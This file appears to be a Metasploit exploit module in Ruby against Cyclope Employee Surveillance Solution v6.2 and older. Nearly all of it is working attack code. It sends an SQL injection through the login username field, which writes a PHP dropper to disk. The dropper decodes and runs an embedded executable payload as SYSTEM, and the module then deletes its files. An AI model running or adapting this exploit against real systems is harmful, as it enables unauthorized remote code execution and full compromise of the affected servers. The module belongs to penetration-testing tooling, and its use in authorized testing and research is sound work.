Path: blob/master/modules/exploits/windows/http/cyclope_ess_sqli.rb
33488 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Cyclope Employee Surveillance Solution v6 SQL Injection",16'Description' => %q{17This module exploits a SQL injection found in Cyclope Employee Surveillance18Solution. Because the login script does not properly handle the user-supplied19username parameter, a malicious user can manipulate the SQL query, and allows20arbitrary code execution under the context of 'SYSTEM'.21},22'License' => MSF_LICENSE,23'Author' => [24'loneferret', # Original discovery, PoC25'sinn3r' # Metasploit26],27'References' => [28['CVE', '2012-10047'],29['OSVDB', '84517'],30['EDB', '20393']31],32'Payload' => {33'BadChars' => "\x00"34},35'DefaultOptions' => {36'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'37},38'Platform' => 'win',39'Targets' => [40['Cyclope Employee Surveillance Solution v6.2 or older', {}]41],42'Privileged' => false,43'DisclosureDate' => '2012-08-08',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptPort.new('RPORT', [true, "The web application's port", 7879]),56OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])57]58)5960self.needs_cleanup = true61end6263def check64peer = "#{rhost}:#{rport}"65path = File.dirname("#{target_uri.path}/.")66b64_version = get_version(path)67if b64_version.empty?68vprint_error("Unable to determine the version number")69else70b64_version = Rex::Text.decode_base64(b64_version)71if b64_version =~ /^[0-6]\.1/72return Exploit::CheckCode::Appears73end74end7576return Exploit::CheckCode::Safe77end7879def get_version(path)80res = send_request_raw({ 'uri' => "#{path}index.php" })81return '' if not res8283v = res.body.scan(/\<link rel\=\"stylesheet\" type\=\"text\/css\" href\=\"([\w\=]+)\/css\/.+\" \/\>/).flatten[0]84return '' if not v8586return v87end8889def on_new_session(cli)90if cli.type != 'meterpreter'91print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")92return93end9495cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")9697begin98print_warning("Deleting #{@php_fname}")99cli.fs.file.rm(@php_fname)100rescue ::Exception => e101print_error("Please note: #{@php_fname} is stil on disk.")102end103104begin105print_warning("Deleting #{@exe_fname}")106cli.fs.file.rm(@exe_fname)107rescue ::Exception => e108print_error("Please note: #{@exe_fname} is still on disk.")109end110end111112def get_php_payload(fname)113p = Rex::Text.encode_base64(generate_payload_exe)114php = %Q|115<?php116$f = fopen("#{fname}", "wb");117fwrite($f, base64_decode("#{p}"));118fclose($f);119exec("#{fname}");120?>121|122php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')123return php124end125126def exploit127peer = "#{rhost}:#{rport}"128path = File.dirname("#{target_uri.path}/.")129130#131# Need to fingerprint the version number in Base64 for the payload path132#133b64_version = get_version(path)134if b64_version.empty?135print_error("Unable to determine the version number")136return137end138139print_status("Obtained version: #{Rex::Text.decode_base64(b64_version)}")140141#142# Prepare our payload (naughty exe embedded in php)143#144@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'145@php_fname = Rex::Text.rand_text_alpha(6) + '.php'146php = get_php_payload(@exe_fname).unpack("H*")[0]147sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1"148149#150# Inject payload151#152print_status("Injecting PHP payload...")153res = send_request_cgi({154'method' => 'POST',155'uri' => path,156'vars_post' => {157'act' => 'auth-login',158'pag' => 'login',159'username' => sqli,160'password' => Rex::Text.rand_text_alpha(5)161}162})163164#165# Load our payload166#167print_status("Loading payload: #{path}#{b64_version}/#{@php_fname}")168send_request_raw({ 'uri' => "#{path}#{b64_version}/#{@php_fname}" })169if res and res.code == 404170print_error("Server returned 404, the upload attempt probably failed")171return172end173174handler175end176end177178179